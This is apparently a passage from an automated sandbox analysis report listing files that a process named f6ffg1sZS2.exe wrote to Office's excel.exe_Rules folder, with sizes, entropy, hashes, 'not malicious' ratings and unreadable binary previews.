MD5:	13F5D637E597D7124A0B8B01ED9FD82F
SHA1:	E324FA4FEA6A75A49B8FBF78E7F7686ED5662372
SHA-256:	374255B1B1FDC1A14059A4C7A7FBBC6517DE9B6577B861D3304234EB638497D2
SHA-512:	83CF3562010C60816DD3BC3A30841A7E344CB8AA44D06358DD67AFB0393C855A1F04BF520FBFA9CE7540C37CF826394436AF0AEFAB7E74A5E3D941CBE41C81DE
Malicious:	false
Preview:	<?xml..y`.NVU.@@........]..!+.4..T..1..+N.Y}..Q...v.....I.s.1L^f....;W&\.j...!.....UN..n..d.Y....\|Pz...Z....J=E.........G{V1.h#........C.@..t.......n.Xz...P.K__...^X..&.b$.f'(e].D-qF..cd...gi.Zg..M........ ....a.hG. .O..8V@)B..\.b.1.o..KJ>...n6.!.....$.n.A.....=.G.p9.,h.d...\.......`..0.o._KU.Y..?.U..:3..lv..T.../...P.....V..vc.5..'.....:........ac..nl.8..V]P..\.W.;/...GQr'Q (.@D.p...0'.%M)...]..j....0..F.9r..N..)&X....uM...,..MJ.....ZS....>]..A#.Du.....".h......u..{..+..Sr._...B..n.Q^.d%Th..-.x.....u...\..M..Z.M.V....~R.g.......G\|..gX..h...J......z.9..a1a.T\|K.L..1........~..%...".U..z.S..if~...&W..}...s....e.`.8.:.!-....nm.u.a.@.!.,.......g.-ON@..=.c.q.y.\...14....+9...........d/.4YA95.q.k..I....g......M@..........1.Q.X.SUNO..J.8..@~..Y.:...\|.c...p.SE...T%:.H..M.._...r'..PD.#.,.B...rin9G\|..[}q..V.1u...\|@....^..N]%..l%/..u".._.,...L.G.Z.[...{..c.Yr.>J..06$..3.s`.k}D.....$....9..ng..11..?.......%..GT~fr8..tt.Y.g..G;...=F.....O..h7....4>.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10800v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	789
Entropy (8bit):	7.691403235694865
Encrypted:	false
SSDEEP:	12:z18W5hKETSJvSBVGTBYe/CGz8iuuA1TBGdztI0WfeKzrLatHY3UAwY3aS2cii9a:ZHG1JaBs9YedYkA1th0geKONYgrbD
MD5:	A1320EE818C613EEFE6ECB0263AF7865
SHA1:	F6D804AD25654E9906512E36CDFC8786C6A1EAB4
SHA-256:	543886D100367ADA77D5FFDD20F9FA0C886BC3F0C4E485BFDBB3824907D4E440
SHA-512:	3D4A303D42FB443066853FF939D81FAD7E8FC9BA65D57DAC7AE627DAC1860216F680E09325CCF0A271535980917E6EE4987C72FE8425E250A8D41287CB36E497
Malicious:	false
Preview:	<?xml..... P..D..:V.[....@...dl.L.O}Q;....s.>..K[...,......>.kV...\...z.R).Wy.h....<....v...?.t ....{..0....}^.36;..j./.5....987.....z............j.jy......Y........0>(.A.K....+..,...;4.z.L.U..,..X..1.c.L.4.,Ik.....T>..i.....?.x.+.Q..y..5-..b...7.'a.V.><,...'.)....$A.........\Pt'.s..#5eX.B'Y..T._..);....c..E.......G.RN.n...1..........%o...0.V.V..IS.$!ZkP..i..I....F....6.......ry...4.xx.T..H9....K.&~..hS{..zl../.H..s%............,(.."i.z..8..e..\.:?d.+..N.Ct....Q..sL;..........C.k.V.<.S;:m}.0^..T(..~...C.Uo.....I.).:/d6..GO\|.!.W.:3........*..lI.A.j..].]\|E.[.'a....'...1:..j8#w.7.\'.^..3......X.5)......\|6.......=2.i..+B..:...r!.G.9.R....C..H.Pu.$:s>3bQ4..G.Y~m...Q....-m..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10801v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.930538452254821
Encrypted:	false
SSDEEP:	48:hXcIzlKVHfgFJSEVAkzNUpXmtRdvbPR/ELpv9YywyMYUoRzI1ed0+b4gYRu9ILUj:hsICfgOEekO1oR569dwfYUoR/d0+b4z6
MD5:	E85D816340E431B8AD6735B94656EFE0
SHA1:	F67EC3A67666FD2495B7B9DB1C967CC8B54745D2
SHA-256:	41AC022B1510ED6CA2CB41AE8BD8C57DA333FBC9AB5DEB59B6AB875B69AC6174
SHA-512:	2DE3E5792AF74E3A2506BF0740CEA6D395E6B6C4633F2E916430DE57643BB6421BF59EE5EB8CF5D23D066A3EDA2E1C307A807DF405C8B9F28E6DB678631CF980
Malicious:	false
Preview:	<?xml.4M5.......&?(1.T....H..d....@.$l..U8h..I...._.....3................D......."e.......G....."..I.)qX..BL...X.X-^.b\..l.Q.gP..T...Z........gw..D...[.b....]........lI..b......H.......[..mw.ki.c(..=.Gf..K.n.i.....[._.......n1].g.Ke!.aT.B2..........V.e0...............?..E=\|...w..R(...=.<+......+roX.&b..7.d'{....D'.5..t.}l.UA....o...@"H.......X.5.....~y....)...w5.....oU..m............y.6..^cm...JS..K..J3...9.8&......\-j...Yy\|.../[.......~&......r..:>.%\QT..=RG^.\|:...Q.#.\|..L/i..p.P.w_...7..\|._~.z...,...oFe.C...\|..."urYr7..N..N..<...U)..n.o....6J.>F...w..>.......7..ce.?E...w...)T.U_.......c..>USA$.O...].\|ed.=kY..K].L.................#:...7>W.....V..i..[...+HU.....1.y..k........q............QN...!.\|...N..Y.x-EK..~D.....<&.l .W...P4...r..&....y >....7}5,.#.L.../.....S.1j..=.d...-...Y\'..(..4......N...!..[Q..z..5,....49.......".\.Z.T..E.f...KU..Bv..;{U/<.......Y.......$..........C.E...T...k.m.N\|..0w\|%*[.(?..MI..C..e.QE.[.W.T.GQ..E.l?X...B..<...e...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10802v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.933302083062922
Encrypted:	false
SSDEEP:	48:gPqgBcwagyZpyy+W3OjIiDhAJaUOF6RgMNY5BLvHRxN4A5KnisePpVlyLa61xLqm:gPp+C0pyy+Z6JSszNWd9KnL6pVly515n
MD5:	9944A6FFD77F3B53BE309FF213C7C255
SHA1:	5E640BE32D16256C70A0AD0C6F011687B7C23E0F
SHA-256:	86F0E1A751ECED6257857856DE1D6AAE97C4AB55BE3737CBE3BAC464FA00F131
SHA-512:	ED9B123C4BA1E983B6BABBE9F5C49520E41F9008DB92583D26DF379C1A0208B294ABC2E3D3AA7A3C153B2029449F7130DBB1B1DA99B5B99B16A893C16D46726B
Malicious:	false
Preview:	<?xml1.A.2...<..l...B]1.J,r..$%..Z..1T.....iv.[?..G. #...kS.....b..J.P.4.x.L.@..9.Jlw.6.kNL..d........0.p...[..'..t.Y{..S......y.T.AJ.d.....JY_x.C...#...gP...)h.....H~...3!+r.K....x.0...~...`v......+......J.).?.:aQ..1../....>.z..C.LS....wB!...@....3.i.r..S.T.k..........B....J...:.opE.$..W2h.+.S...m....%{.}...D...A.....?.gd:....n.h.].:.tz.t.m.M...Z.j2..I....=..~..4`....w$..W7..e.t@..v.....h........).\..Q>$f.Vp.....{..r.}V.d...!.q0.C.#@/M.\..\|.....<..=..d..W.....U.....0u.).....-.. . F..[....J..A.V...Rq...P.)(6...P@.^.G..B.,x..R..j..J....GV....k0.....B.du5....u.q..$C.......1.....A..+.a .8.@..>.......Qn.w.Z....N.\v...l....+...E+....... :....W.YQ.8\s..K"3,...E.R.{...A.$.>...&l/....FT.f.r..jym?.)./...}.h....O.iD.SUT..8..w*ux..`.......j.....V.....Clk4.I..9DN`&!.Q...{...{.x.....@.....t#KL...i.f..S..h0..._....pK....1...:.'ou..-..C..G:i....m...!.k.y.&....7.r.O.b!W..2<.}I..J.;..i1j0VS...#.......h..f.{.-......L..N..@b....B.>.V......g.....9

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10803v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	4639
Entropy (8bit):	7.957153258716057
Encrypted:	false
SSDEEP:	96:wuTduRr6EClg+Iip/3aBOXxATmRjGBHxqjWal:wuoRXCl3p/KB+xdRqBHxro
MD5:	F664E85F38F1652F94B039017BE249E0
SHA1:	18FB0AC4119EF11B72561DEE8E1E1625D20BDA38
SHA-256:	8A2E96A4F4F78A5C1D68603411A77FE8DD15A4334FD8DAF3D8EA9E2C5508B6B4
SHA-512:	AC8A975E95B64D0F83BCE307B9B55A7374320479320D061367F501BB171F18DB93D56E50327D5E9A638EEC99CEFFB16011BEFB74D53A67CDCD0A7153838DB494
Malicious:	false
Preview:	<?xmld.8....9q><.%:.O+..XI.....".......8>.y...`.5...Q^D.S<....^..q.i@...p....C}..._2>.'...H.b`...v..`.(,..m....D]{!.R..~...Z..v.0..3j.....r.u..i=.;.]..~.en.Mf40Pk...j...\zz.x.e.O..h[j..&.....;5......6s.)......O.;..s....y.t.h....:.O..:......1e./....y."..4.....U..2.......f...I...>}E.\;....nq+.....y.fr...C/ !H....~.d.Er..dy.......SX.......~...G.w..J...=Ub.z..G..,..}H0z=..Nj5ega..$.Y....t...g...\|.d.}._.=...@...k.v&E.nS.M.n...?k. ...O...S+pJ.v... .}.P...I....1].R/..k..\oE D"4c.Z.'P...A.G.....[<4F..U-..R......I..&..?....!&...5....o....`.._.G...7=\T...p..y..Y..Y.."\$C3......N).i.^ ........x..eu#......8.89..8..%.!G.QE.h.pmE.l.......T.p .i...VH}a..C...]..hm.N....UX..2BO.....]..sg..qy1.^RQ\|..{7..~tc...........<d...`.#.........~...m....i...9.5..#s.>....K........D.x...$X2....\|....S..WQ.[...h3..E...>...0.........@..^.T..`X..lk-y....1.(#.2.../.......(6.q8.:.q.\.c...5.Z.$1..}f.5.hG.8.K.>.^.kaMC..?....D...J.r.#../8...+?.$.o.g.J.#........K.-...!..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10807v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1329
Entropy (8bit):	7.858457295484514
Encrypted:	false
SSDEEP:	24:0N01Hq7mDTfDpNlGkWMrZcdjugAiZcicRfUKypboljYKEl4U+uuVbkCC6qIbD:0N05qafDpNQkWMrZclAYc/RfUJoljYNq
MD5:	299010B9C3D5B942BA7B12C8CACBCE7E
SHA1:	7DCB9869298FC883F117BE1655E3F14ACF112D34
SHA-256:	E2A3033B0E1D2D2B2E5F685D95164AC7497248DDC4613222262B9B34703F6C01
SHA-512:	09698FC553CF4B571AE7408A60C8EA1EE553252F36B6364E43BC303AD468CD29A6E56BDE32D8AE40709AEDA1FA296F6691B11EE8F7C0B493BBF4C3D7DCBA9B75
Malicious:	false
Preview:	<?xml .C.W.]....2..5].&.....)Z...sa..._=.......~.6Cf......r.~\S..a.C........v.z..7R.r{.w...1.m4..(6.."r.N&.\|.g.cuf>.....G.?..P).IF!@U.px..u&9F....+..R.E.. ......c....`2...D...\A.....AAw.G.J../.M...m.8..uKBf.i.9...3..\|..$.x.W....Y.@...;(..b...[..0.,O....d....[..6...m....8+.......j......:..)..b.._"..z.H.O.....X.J..d..-.in.;./+pi....Q..Z"..J....:^c...C.....(y......V....E.$............-.\|..+......m.....WD...U......R1.'...GZ....y...F-.-@2..k3..`....U...n...H!.5.v..X.".....[..\.g.XX.)6\VQ}P."-s......S...h..{2m..8c..u.r...P.......\.c....P..-p..6..p.u.j..1.)... ?U...\|.'....Yu..^:....y..:.. .n5)\|%2f.v...-...d...zh.....`e\z0....r~..z.n}.T..y.n><6.#.Q....{.B&.a.y...7...;z.zaBzx....(C.Y.G.q6.JN.>...y...p.........2.?S:"F.^...0....q`.0.....p.......<4)..D~R&.....Z...z...$.w..YP.......<.=g..../.UL%.,..1Aw./..1...a.?..qn...o.O?#S\|.&H.Hs9.]....t..q..>.>[...).".[e....k...c..}...>..>...I......8.z..h...6m...cB.W.X V...]..Z.pz......:...5....WP......ZaK..\qA.e

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10808v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1395
Entropy (8bit):	7.874902852935144
Encrypted:	false
SSDEEP:	24:8Q8lp+bDrXd0jE1yYjtUcd9481aqIMS+8/1nkTzGmfFmqCSZPqy9BEfCcq6LHnbD:8Xlcmj0/y+ax/1YfCSZDOJHbD
MD5:	A1071794E85C448724EC6692CAE09A2C
SHA1:	FFCCFDE85C6ECFFEB21699544E0649492F0E9534
SHA-256:	3B09690613656438C8791BCF1539D854871FA19B4E5950E7AF997A43528CC18A
SHA-512:	FDB6750D72FC33C0DD6C01BA731974622676A5B4DEB15BC3B7E270513420B76E1EE1A9006B2A41943A55F9E136557CC3B2E35A1CA19358051FFE5E540AC17E84
Malicious:	false
Preview:	<?xml..QE;ym!.D!..#..Rv.eYG_Z.2..=...#...v.=7^b..vb~......uf...Z.jT....gp..g......}.r...0..X'[c.S.....'&.yU.......v.[)...Q..r+e.V........#..O}C....m.).....`]W.t.x..[...6.S"...U.xv.>..}=?....dN#...k.S.L...)..h....i....;O.....>:+......N+.....9...[{..Yi.f.L..q...Xo.....0..V.8...s...`pT.dy...4@J.S..=?A.........K[\|x.._.A..D$/..K.c...a............jfWNi.p1.@.G....v.......A........a..1.`.n^.p>..4r.c..\.+b.....S......Z7..h.~P'.G.<.S<.(\|4...1.;..^^........3..A%\|.6.i...l._...3..(..p........pe..$^.n......l...O.._b.............."....k>K.l.2..oUS....\,*......(...?~....b.6.4z#.;[1.dYn..G.-.R...3;<Y.d.qF1.=.l..b..,.Y.......'.8..._XcL.k2.........6...v$.7..-.[.^W..4.u........M..........,x.?.8<Z'K..B....k.l.I.i...`t.e.7-..v5....H.K....k.....V...j).{}......I@R.........p,.........r-.k.t.t....].....D...u.P...9..]`:....w..kX.S6.P.............:....9..rY..W5. Q<i:~.pV.~.-..y>.....<....!.(...s...B.O.J...R.'.oh.....D.qC.O.y.b.OK.g..=...l...eQS{...L...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10818v3.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1124
Entropy (8bit):	7.835495501690885
Encrypted:	false
SSDEEP:	24:N60eR2+MSzUR3n4HQ59gQqCqlScuBPg27+cGHD0iGPobD:N60eR2czURf52QYKPx7+XHD0izD
MD5:	52F22A1F9EF8F23FA6F362C2C9DB9EF8
SHA1:	1C3BA2F1E89A97F16807A22AFF271D89735D2640
SHA-256:	4F96369457A4B5571AA06FA634ED21AAACCE3B9BB23708D4FE8E3C65A1630490
SHA-512:	48E5058436FB795C3D20CBE531E4C04FFEB6162637AAFEB1DB2DCD900FFB56994D657F4446CBF22AF79CAB351BC908260A8D0F91C6F4B60B907D30CACE1F800F
Malicious:	false
Preview:	<?xml...j.....Wo..t.. .h6.I..5....%wuZ...'.....]...K\.s....6f..$kT..~..!cO.......T.vYV] ...y...m/..hDrp/.<..Y..!G.Mj^.k.@..).e..XG..u?+.......B9".\|...,...^...\|..........)H.......%.rD.n;@....j...}.Lc.$..kYW.....^9..fl.L.Z+...............P.V...C.6(`n@....k.S6.X-.h......fi.....5'Q4 .;..u."....oq...3..;..Z........%k)dA.}.i)%..,......0..>.....G.l..Q.f#....Cs...g.~p.S./e.^.:....o.bic.....S..I.).....R..{.w{.b.2!....c.......4T..vld_.$...K...!./.G9.G..0$..81....c6y\|..?.so..W........T.!.aj.z...S.Ft.[..\. .1..I..S.n.4V,..m..\|.v.".r.Z..v..&..)s.{..\..DG#.c5...:H.i.8Q.m..B..V..I...S}.\k.9.9e..2u.\|.:.=Y5.[....F.p.4YkT.?......L..y...2T3..X.m~..QR.....L_..a.~..G.y...\UR....I.\..0..H.I5g;j.~ry....n....ct-!.......E..-...T..m...E.P[8..q.r..vj..E...l\..FS..:.M..32....@.Y.0....O...."!...^..P)..;V..d....~.>v4.3...c....S..+...s....F,..?.$...v.C...gI..S.M.....\..t..A_....p....._..=.O...s(....&..<..h..v7\|...vr.n$...F.`m...xQ.{.'"....rD!.f...ju'.T.;..{. k..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10819v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	8769
Entropy (8bit):	7.980911913736437
Encrypted:	false
SSDEEP:	192:SV8Okg3jw5vjZJ/OD2uZG/ceNcvJ3Pm+6I3PnsCQm94qw4uCeqDx2DRN:5+3jwhjz+xeKJ3Pm+6I/bV43GeqIN
MD5:	797C35D95083F1114859CC5C82291694
SHA1:	0BB9CDFADAECFAE4CCDBD13E237D9C07249B150F
SHA-256:	17A3C6BCC3BFB72ECD37308AF31AE452C0B9F76CE32BFB22BDDE68A8D6CFC3E4
SHA-512:	DDFBF69D1BE845F7B210AF68C82F491E8ABA44DA9B36656F55EDDE9AF069E32B43B4B2E1C8BD42579709ADCC7274625BC50B824E9AB6DB1BB6576DE819BB22DB
Malicious:	false
Preview:	<?xmlf.)...!D.:.P..$He.....?!..HE.b......4.e.7m...m,.d/......=..bo.~...p.%..2.$H....N...;......3....%&......~.!.-......GH......_.u....X}..m..s.....RFL.#..&..,.....s...m....4..c~..s.l..)'.S.i.}g......~...E.......g.w..~+..V......;."Gp.j..w.&4H...Y..].(E...3.0d.LK....).._..Q..`i..5..P.X........6.......^=...4\|T.,EJ.N.O._......L...v...T.:M....^dAP..T..l.kQ.^.>V...Vc}.F..'.....;.{....."....Y3.8..;R.S.T..,...k....."Q"...?...P.s..9:..%.....?..3'.j..].......9.q.gq.&...`.n.1...N.K.....%.F...p... .=G..R......;...g....j..`..$....@.h3...?L..)Y..,..@...<..v.3.T.k........qo..o.%...t9..4....Q.@....)../".?3....6.n...E..^..)b......:...x).h...t....v..=}=...nA..z...hpI..\|e..d.Ud...XH..D4.5^vVN...<J....i.y..S..".eW..)>.....j..).v.....>....V....R./.uE\|c..^......._.}fK-.d......\#fgJwf..vA@(..K....>\|J.~NyR~...7g..:(w./8_x.I..]R].z......0fj%.L..............)..<DR.^2.\...{hxn..M.o..}L[._.qD.......l..`..H%.No.w...{..........1..;...;.<......Mkv....\|..U...0.........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10820v3.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	5842
Entropy (8bit):	7.966871370465211
Encrypted:	false
SSDEEP:	96:vB881DdxLmq5F1upAb1bIKw/bEXwDJ8ILLrH/vVwAmrnel4B+vx12L:vr0q5SSbdI7DEXIKIfrHpmNMvm
MD5:	4F7C390F5B0A719E43791FD109BE183F
SHA1:	442FBDB5A05836ED0EE897FB22E0C1859BA4F67F
SHA-256:	D9B8E111AC6EDFF843D5F1E6529969E366D957D29676EDCCBFF86808745A9240
SHA-512:	A0700856AF951EEBA7A8220D5F486863161B4C94C790CB270B27D7444A36738D36109B465492B809947B4266842B0168BCF53C4586265CC18B4186D4B3C77DB8
Malicious:	false
Preview:	<?xml.?.x~..^#.....+.p..z...U\|...d.-.u...h...H........ .x&.....:.^..\|8..t...:.....:I4.....\...s.....'l...U..D.r./.&..;<st..].......W}..d....GMR.WHGE..s..g.KI.._B$0.z^`....C.:...+....]K&........}^R.}.i.76.njM....<.(....`....l.0. i.$.BnS.....q9.........8(O.V........: c&zX...g...Zt.........X.E..e.C..J...`.....B.YF...r...:.e..:p.f...w&.{...H...GY>...W.s.].r..#......:....W.....k9o.\./^.3....h..e...y.}.NS...d.<.k&/oq....:...........3.\.&.m".b....G...W.)..{.f/..?............m..Z.H0..4m..`L...C.....8SA.1..d.\J..........U...m..\C.x..A.UL..l<.#g.>...I....S/V.!...9.....zVw..(d.e....F.....?]...`$....B.\|.8..L.%.i...E.8.;.j...-'..Mz.g.....J....G-.Wo..^.#Y.~!.-........t....0...u..ik".63....3(I.u.W...z....?n.`............u..n.."........k.......P4FI....9+F6.c..T.(......!-..MZ..Jqi7N..#.....be....".....U..Ce...Z.Uv...........}...y..p..{%uO.0v.CpDso,..Z..dA..~.<........#'ku...... .V..<...i...1.....)n2Q..T...)...<`3b.a..\|...Z...DM.....V..A...\...W...Z+.0

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10821v3.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	4787
Entropy (8bit):	7.960035654971384
Encrypted:	false
SSDEEP:	96:eDNrkagefJXwr6kNwrvSlyIHwLUF258+bGgEE+tvd3JwT:sNoagefJXwr6kNq4ybS29Pcl3JwT
MD5:	4AB487493C512A49BAE8BA0885A1A6D5
SHA1:	89107A00F547429289D50304046D67462D396826
SHA-256:	A8D7D2D5FE65DED9978544707F9CC6A7E66CCC06C426DEE6C945C74E6516460B
SHA-512:	7C21FD3AB23757F4446728D0AE7C2CD37A3C9909DFF66D92FAD7ECA67ADC7730648B4BE9B988507089CE66102A3984EA002EC57ED60F5B9773167060E36489EF
Malicious:	false
Preview:	<?xml@(..z..c.9V].L..E.....F..7...9.:T..B.LD.#....v.Z.QLc..}....s....i./.":.0\...6..1\.?..4....U.....^..F7q...<..5..fl!~.2........YR.M.+_q5.yN........L>...o=....$66.7...,..^v..v..+.r)....4.N.w.&_.Gr...s.`.._a`...g.x.v...}}e..l.R=.0Dw..%...J....Q,SY&......(r.^.......R~.9.A].......$c..4......f...}.....s...aU...8.xa\..:..#.E3h.l\|...o/.v.z....1\.\|..".F.EB.o6A.N.......A.)....m.d..]..[.....ak..m.I..._.A-c"...7..DL.=.A...#...........]yL-`)..TJ0.q.. .N.D.W.G.../.....`...A.j.S........"..X.ho...b._.e.&...Y'5.?@.)...i......^.C.W2..._..rP...2.X...?q...C..K:&.W x]..eU.N.`...@.C...jX..7...-PM%(.....6...!......7.?4..`....:..a.Um........v......WD9.CC...6.N..c..N.....H.......E.........8..av.GC...vD.2..V...Lf.I....7.V..JY.wm4.o#.......Q..MF0.R..axe.....}....e..%N5.XI.D...Of...1....!..3t[T.JS s-..`....J.U.9T...u..X....#......}..@.i"..}....f...F..4....3....>~.\|.....>?..t..$D\5AC..(...u.OI.).8d..r.%...y.......G.7(......"".V...I[\|...w.......6.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10822v2.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	4786
Entropy (8bit):	7.955989251941198
Encrypted:	false
SSDEEP:	96:ysRKOSIjZnASjKUVSNs7N2lKduTHmtfJgUj5BPvrYcVa:sOznASjKS6DTmtxrjnvrY
MD5:	494AC519B354C573287593766A25681A
SHA1:	F99CCFFCE13D97A37A07F7652454F4ABA49E8D2E
SHA-256:	CA13A99446A3914F81996B5799AD9A521E2C6A0FDCBC4A6809A0B67878ABE4AD
SHA-512:	6FBB92D1B5F6883A1F89FA3235385CED34A850A0933CE251C7C48BBB15935AC4D824985B2609C50C749F681E919DCA1DE4E58AAD484920B1CC3BE0FE0DC66F53
Malicious:	false
Preview:	<?xml...;uWY.......&...{"......z.._k...v.........7.#^.4......8.M(....q$1..%.wS...r.rl.....f.[..g.^4Tfb[2E6..#I..F..84.v(@5.\N.....E..,&. .D..Dv.h..M..".?\.U.R..kH..Mo",MbH...2.d\.X..y.d5..&.$_....uC.....@U........_....--As(....lO.s.=$m./z_..Z....5.=i...r.Ug...&...B"_eM......>N.Al...#5..T.T......}.n.f.&..V..-.(.@D..e.:..Ej.d..S..V.S./..-.r2#i&<....J@j}@...z\|H..k...l..o..4w..fi.g~.!J.8p.......D.@4..&.()A.zF..O..!\|..Y9...).r...y.#..".n.dvM.[.(..5.A..b.:...y.N...M7.l...4......-..^....E..._1=.....\q..}.R.A...i.Sn..=..(..#...9......=.s.0...,.,^.sIYkC......=...#.X....T.].....F..p1D...o..yD/?P.L....H...r.m.......bDK..D$...} 0<A9..-({2..0...;..s.)0o(.vj..j7..R..mP...[!.}...#.N..`.9m(..fu.dn.~}..@Us.....?.. .sC.....t7}.. .+.S%.5...........e.S..Gw,...q.ws^.EQ:(l.\m3.LS....?.w...{%..0......K...cu....T.@.bX#.i.F...4a.@...8.P.4.....\|@....K+...%.u......i.1......v...h..#9Q..E$g....O...P..1..^_.3)!..u.!I....5..s.)...\|.W.L..m....{(.W..;..L..o.\..3......8

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10829v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3030
Entropy (8bit):	7.934457404559059
Encrypted:	false
SSDEEP:	48:GGKiA2fS6qv5zZK8vB9XUv3VsjSzRpg4V962VBzdHNYwvdAeCz1VTYyD:GiAp5zK8jOVop4e2VBhW+dAeCpVTF
MD5:	F68932F582CE537B6C02D2328D730265
SHA1:	42AE7E820EDDCFEA85FEB20990DA49F4A86E4E84
SHA-256:	51AE553510F8533D43B58DC890EDBB5B162F18EE28251B809ABC5C91561BDAE1
SHA-512:	7F647013B68BC78040909FBA40FDAA6B320147BF4ABA66B530967F6996683736547B14127013481EA5EEBC271FDBE5946BDBF5D78C8164088A022A1D1E94B371
Malicious:	false
Preview:	<?xml..f../..........J.09-....u....=J.J1.........P........+....}....Y......V.Q...D..DW..v....c..?V..!....WtA...j.Sh.v3.N.u.O.T51...](.O;J...W#......n."..SYZy....K.l......%.Z..Zczb}.ku.-.g1.KaX.E.>.Y..#..9...$.O..K./.H..T.^.....q.{B.1.l4...E.[x..Il...t..N4^.<q.E@+..cQn..>...!bg..V...\-_.z~..R......0..../...kN....Xj'(...[.T_. 4.\/m.HT%...4....#....mM....:..T....+`.........]R..H_..../.....l.y...H...^....v.3'c^/...c.lz...!...!.:\.Y..Zz.A^....k..u2x....%...Fr...pw=.Q......?Fi!.....A.\|}..%..k...om.......B.m........<....oK...2..K.[.....}..".....-..;..N7{..\.clo...o..WB...<..;.+ .r..ng?#....{n7..{.R.).....L........z...8..u....=..b.&..:......uzdv.....=Q..j_v...9d.r....)uZ.v.E0M.l.@......b......L..4...4/.ele.$G.YQU]....gpAzb...b.Q.{.<.._...j.-.lmUyc..[..J...^...IP.R..P%zN.;.......\|.>J.x..=..F..s.....).f..4."O.^...0....Jy^.....S.vK.CV4G......'..5.(...Bx...`#"._M.......}3..6.D.w....sP.x0(?.h.6.eIKe..`V..G.+.u....QgC..K(.{6..&

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10879v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	789
Entropy (8bit):	7.734291470667206
Encrypted:	false
SSDEEP:	24:WD/P2JoAZ+mId16WP1P/I5OfYAqBY1EWCupbD:M/P2J6mITPcSgYAuJD
MD5:	F53E634E2211812B8EEAB8182CB8E56B
SHA1:	2F7985120A889E7E912F917B057410A3B032934E
SHA-256:	77AE0B45F80AEE5817622B2CFF3F4BCA3574F874659770A855785FE8CAAC5567
SHA-512:	1B16AEC78D8071999C1E91DBFD9026708F6B96863499597F265E1F2CB96E46CDB951525BEE7CCB3FAB186211626EE67C5ED8844BBD9D1583595F0E023AA55B0A
Malicious:	false
Preview:	<?xml...".D.[...}.Oc..Z..[<...{.....C.{..l4...h..g7..PJ.F.B.>y1.EA..U.6&a.@g<\..+!......!.`.F58.'>.+...vPG.9.K......,93.Q....".......h.\|..$P\..Ou`..`g.b.M.x&...dX.s"....!\|.p+s.~....3...=:1\..y"......{..#.y......5...=x...{.". %%.,_.....BOZiRnUO.g.\.......d....?#@Q..b4.n..V....m.6.k..C.x.Y.p#.....Q..v.v....)@...`..c..q!....oF...........Ie...q..h...6....r...Y...-..Z......Tr;)1..{W..M#(..0.~!.H...8......'..1O..sFi...+.......xy.e8E..........:.Flr.#...........le.O...x..Oc.e.V.cf.C.*.V<.o.k~=.)..>..:.x._.C..\.P...z./..[z;R;.:mP."..Op..e..._Fj...<V....8...}..(:$......&.\...#..q....O..E.p?.@...0.qGG......Y...;....Lf..\._<...E.M...b..;.n.P2..~...W....1.VZ...Z.."zi..D7........LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10880v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.93551481601692
Encrypted:	false
SSDEEP:	48:wg348wSIhcfaiVuJ76/KUPLp5ZiDXHY6MgaHRzLPxAjSnyyVQpG6EK5Q5D:wG48wPkLVI8zaY6MvHRHpAj0yyVQpkKk
MD5:	7C17160B9640B8722A45607F10E0557A
SHA1:	853A69B9402AC5F2F8AACD3079AC05DC90739870
SHA-256:	40EF98D0860F02ECFED1B72A54D412A885562A5602CC7379A397E23F5E0EB5B0
SHA-512:	101BFFAAA85DEB914DFA2D1F47ED7B0DB71E3267E288453046B71B65F8A3459353EF0A036B0F8934581918FBDA23AD65DFB838918CCD668B0DCD769BED5BFC91
Malicious:	false
